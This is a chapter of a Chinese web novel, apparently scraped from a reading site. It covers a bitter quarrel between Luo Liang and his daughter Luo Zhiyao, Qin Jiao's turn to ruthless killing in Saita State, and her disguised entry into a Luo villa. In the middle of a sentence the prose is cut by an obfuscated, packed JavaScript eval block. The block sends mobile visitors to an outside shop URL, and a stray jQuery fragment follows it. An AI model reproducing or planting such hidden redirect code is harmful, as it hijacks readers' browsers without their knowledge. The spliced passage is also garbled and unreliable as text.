“……你这个眼神是什么意思?”
回到办公室,洛梁的第一件事就是把洛之姚叫上来,质问道。
会议还没结束,洛之姚就一直是这种眼神。居高临下,暗含着对他的轻蔑。
旁人可能看不出来,但洛梁看得清清楚楚。他这个孩子一直都看不起他。她表现得过于明显,让他都没办法装作没看见。
一个孩子看不起她的父亲。
……
洛梁一直忍着没发作,忍到他回到自己的办公室,按铃叫洛之姚上来。
“……就是这个意思。”
洛之姚回答。
她依旧这样,目中无人,无法无天。她眼里连自己的父亲都没有。
或许他们家培养出来的继承人都是一个模样。
他那一辈的老大也是。
说是“老大”,实际上年纪还比他小。那个人也是这副样子。
每次看到洛之姚,洛梁就会想起那个压了他几十年的人,这样看他也不喜欢他的孩子。
甚至可以说是憎恨她。
这究竟是一种怎样的情感?嫉妒?不,也许更深,应该叫忮忌才对。
哼,所以他才会把自己的孩子培养成这个样子。
.
他点点头,随意地做了几个表情和动作,准备叫洛之姚回去。
谁知道这其中又有什么戳中她哪个点了,让她不舒服还是想起什么事了;洛之姚突然又被激怒了。
她总是这样莫名其妙。
洛梁盯着她阴晴变幻的脸,心中警铃大作。
“我不应该看不起你吗?”用一种忽然变了的语气,她说。
来了。
洛梁心中想。
她已经在起头了,一般这时候就是这种缓慢的、一字一句异常冷静的表达,但很快就要爆发了。
她仿佛要把自己过往所有受过的不舒服都说完似的,只要你有些什么让她不舒服了,然后她即将想起这种一连串的不舒服,并且自己还没释怀的事——她哪里知道忍呢?
她只会把它们一股脑全吐出来,不吐完不罢休。
.
虽然洛之姚说的事情都与自己有关,但这些又不是他能决定的事,跟他说这些有什么用?
哦,他难道还要自责、还要愧疚吗?
你就生在这样一个家庭啊。
“……你想要我当你的继承人,又为什么要让我去那个地方?!那个学校?”
她癫狂地说。
又来了。
洛梁只觉得烦闷。
每次无论从什么地方说起,洛之姚总会提到这个。
他真希望明天就开学,这样洛之姚的大部分不满就会发泄到学校里去,把那里搅个天翻地覆。这样更好,只要不对着他就行。
是,洛之姚去岩山中学上学,这件事情是他一手促成的。
但有必要讲这么多遍吗。
你连这一点都不能忍受吗?不是说要做继承人吗?
作为洛家这一辈唯一的、名正言顺的继承人,你得忍受这些啊。
.
洛梁有时候觉得自己恨的不止是“继承人”这个身份,他可能也恨洛之姚这个人。
不然为什么在看到她扭曲的面庞时,心里浮现的也是扭曲的快意?
“……在那里上学的都是些什么人?”洛之姚问,她现在脸上只剩下平静,令人恐惧的平静。
“穿着百褶裙,小皮鞋,多好看啊,青春洋溢的年轻学生,随便带到社会上都是一件多么值钱的商品。你为什么要我去那里?”
“那个和我年龄相当的司徒怀翊,他怎么没被这样培养,你为什么叫我去岩山?木家更是,为什么木鹤冶年轻的时候可以那样,我不行?”
“……你到底有多恨洛棠?”
洛之姚又提起了这个洛家除了她以外,没人敢提的名字。
“她当年那件事情,里面也有你的手笔吧。她出事之后,你怕是高兴坏了吧?不然像你这样的人,这个位置一辈子也轮不到你。”
愤怒被洛之姚掷到洛梁身上炸开,以一个无比恐怖的速度蔓延。洛之姚的话语变成耳中无尽的嗡鸣。
“又想让我当观赏品,又想让我干活,不给我放权,还要我听话,洛梁,哪里有那么好的事情。”
洛梁的声音也如同雷声般炸开。他年轻时就有这个本事。不被人重视的人,声音都不得不大一些。
“你出生在这样的家里,你就得受着!我以前也是这么过来的,你现在这点算什么?!我对你还不够好吗?!”
……好在哪里?
洛之姚眨眨眼,没明白他怎么能说出这句话。
“……因为你年轻的时候经受过这样扭曲的教育和培养,”她说,“所以你也要我感受这个痛苦。你实在配不上称为‘父亲’,而是一个忌恨所有人的小人。你只是处于这个位置上、不得不有个‘继承人’而已。”
.
外面逐渐乱了起来,她们帮派却可以短暂地喘一口气。
秦艽把黑蛇全须全尾地带回来之后,得到了帮派里所有人的崇拜。这种崇拜——尤其是有些人的——过于狂热,秦艽有些应对不来。
母亲说她这段时间成长了很多,跟以前比也更加成熟了。
秦月娥其实并不希望秦艽变成这样。
过早与过快的成长其实都是被逼无奈。
如果她们有一段相对顺遂的人生,秦艽本来是可以不用背负这么多,相对无忧无虑地长大的。
.
经过这段时间,秦艽渐渐想明白了一些事情。
如果安于现状、并不主动出击,自己的生存空间就会逐渐缩小,外界会进一步挤压、蚕食本属于你的自由,直到已经退无可退的地步。
虽然起初,她只是想改变自己的生活。
但在这座城市里,好像无论处于什么位置,痛苦都如影随形。
你别无他法。只能像一条被锁链缠住的鱼一样拼命挣扎,却无济于事。
与自己的力量一同增长的,是她的野心。
秦艽想起猪肉铺老板说过的话。
“这里的社会是一个沙漏。”
如果她想改变自己的位置,就不能走沙漏里面的路,而是要另辟蹊径。
把它打碎,或者敲开一个洞钻出来再从外面钻进去——这些才是可行的办法。
她必须做点什么。
不然保护不了自己要保护的人,也保护不了自己。
.
秦艽开始潜入各个地方,用之前得到的装备和早已驾轻就熟的能力去收集更多的信息。
主要是洛家。
当然也包括其他家族。
她在城市的夜里潜行得越久,就越清楚地看见一些人的脸。
虚伪、贪婪、腐烂、恶意、肮脏、恶心。
面容都不一样,但身体里潜藏的东西好像都是那样。
也许这种挥霍无度的人,自己也早已被这些给蚕食殆尽。
只剩一具空壳。
.
秦艽的欲望越来越直接。她想要什么就去做,路被挡住就把拦路的所有清除。
她不再犹豫,去花费时间思考那些有关“正义”的问题。这就和在海洋里寻找淡水一样,毫无意义。
秦艽学会了在别人开口之前先动手,在别人想清楚之前先做决定。
那些人在死之前总是想说点什么——忏悔、求饶、威胁、讲道理……她都没有听。
秦艽心里清楚,一旦听进去任何一个字,她就会停住、停在那里、再也下不去手。
而赛塔州不接受这种生存法则。
她没法再停下。
一旦停下来,她自己暴露,她想要保护的那些人也会重新暴露在对方想要清除的名单里。
人生是一场夺权游戏。
不把权力掌握在自己手中,这种力量就会被外界夺去,也就没有了决定自己命运的自由。
.
窗外,赛塔州繁华的灯光在很远的地方亮着。
秦艽站在自己黑暗的房间里,靠着墙,远远地望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880133|212124||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着那些光。她想:
其实这座城市并不是由那些所谓的“大人物”撑起来的。
——那些表面光鲜的家族、那些在新闻上笑容明朗的成功人士。
他们只是站在了最顶层,因为各种各样的原因。
而那些支撑着他们、也支撑起整个赛塔州的人,他们就像是承重墙里的石砖,密密麻麻地堆砌在一起,让赛塔州成为如今这个模样,却从来没法被任何人看到。
秦艽想重新建一座楼房。
.
“……让每个人都能被看见,让每个人都能看向自己的前方,而不是永远仰望着遥不可及的高处,一辈子够不到的地方。”
秦艽双手向后撑着身子,晚风拂面,她和司徒怀翊坐在万丈高楼的阳台上。
这次是她自己敲窗进来的。
救出黑蛇之后,秦艽有很久没有来过这里。
不过司徒怀翊似乎依然住在这里,他对房子的专一度可比洛之姚高太多了。秦艽坐在台子上吹了会儿风,就看到司徒怀翊端着杯子走到窗前。
想着自己也应该去主动拜访一下,秦艽俯下身,敲了敲窗。
.
“这个世界太冰冷了。赛塔州真是个冰冷的地方。”
这句话由司徒怀翊说出口,好像有点不太合适吧?秦艽把眼睛从黑蒙蒙的天空中移开,偏过头看了看他。
“这难道就是传说中的‘在富有但冰冷的家庭里长大’?”
司徒怀翊笑了。
“也许世界本身就是冰冷的。”秦艽说,“不过我们可以造就一些温情、属于人本身的温情。”
“反正我们都是动物。只不过生存在钢铁搭筑的丛林、海洋、沙漠和草原里。既然本来就是动物,也没必要追求一些过于崇高的东西。”
秦艽望着远处乌云密布的天空,漫无目的地说:
“远古时代的智人,茹毛饮血,朝不保夕,那时候它以为这样的生活就是全世界。直到有一天,解释不清原因地,它突然想要抬头看。”
“可惜这里看不到繁星。”
说是这样说,但司徒怀翊的眼睛依然没离开过天空。
.
“如果没有这些原因,你还会做这些事情吗?”司徒怀翊问。
“不。”秦艽回答。
“也说不定。”她又改了答案。
“可能会改变风格吧。”秦艽想,“如果是代表我自己的话,我不会这样做。我会大张旗鼓地留下只属于我自己的痕迹,制造他们轰轰烈烈的死亡。”
“就像一场烟花。”
秦艽转头看向窗外。
.
秦艽把这位倒霉的洛家打工人打晕,拖进储物间,扒了她的衣服。
她快速换上。
一回生二回熟,虽然几件衣服的款式略有不同,也许不是“略有”,不过秦艽扒衣服和换衣服的技术可谓是已经炉火纯青了。
按扒衣服时留下的印象,白色围裙的系带在腰后要打个蝴蝶结,袖口得整整齐齐翻好,头发用发网兜住,严严实实,一根碎发都不要露。
秦艽照了照镜子,确认没有问题,再确认了一下自己易容的情况,点点头,端起一旁的托盘往外走。
托盘是瓷制的,白色,边缘滚着金线,垫了一层白色的蕾丝垫布。上面是一壶不知道什么品种的红茶,秦艽也闻不出有什么特别;三副杯碟、糖罐、奶盅,一碟她没见过的甜品,还有一盘切好的水果。
这么多也不嫌手酸。
秦艽走在洛家一套别墅的走廊里。金碧辉煌的装修,让人看了过敏。
今天应该是洛之姚和她朋友小聚的日子。
推开门进去的时候,她们正漫不经心地不知道在笑什么。秦艽一进门就看到了赵桐,她坐在落地窗前的沙发上。
洛之姚歪在扶手椅里,脚翘在茶几上。
另一个人秦艽不认识,正低头翻阅一本造型颇为复古的杂志,翻一页就发出一声“啧”的声音,也不知道是在嫌弃什么。
没有人把目光分给她。